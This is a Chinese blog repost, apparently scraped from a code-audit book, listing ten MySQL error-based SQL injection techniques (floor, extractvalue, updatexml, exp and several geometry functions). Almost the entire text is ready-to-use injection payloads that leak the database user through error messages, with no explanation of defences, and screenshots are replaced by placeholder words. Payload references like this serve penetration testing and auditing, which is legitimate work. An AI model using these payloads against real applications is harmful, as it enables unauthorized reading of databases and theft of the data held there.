十种MySQL报错注入

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了十种MySQL报错注入相关的知识,希望对你有一定的参考价值。

以下均摘自《代码审计:企业级Web代码安全架构》一书

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

技术分享

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

技术分享

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

技术分享

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

技术分享

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

技术分享

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

技术分享

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

技术分享

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

技术分享

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

技术分享

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

技术分享

以上是关于十种MySQL报错注入的主要内容,如果未能解决你的问题,请参考以下文章

十种MySQL报错注入

十种MySQL报错注入

mysql基于“报错”的注入

Mysql报错注入之floor报错详解

注入之mysql报错Floor报错分析

mysql报错注入手工方法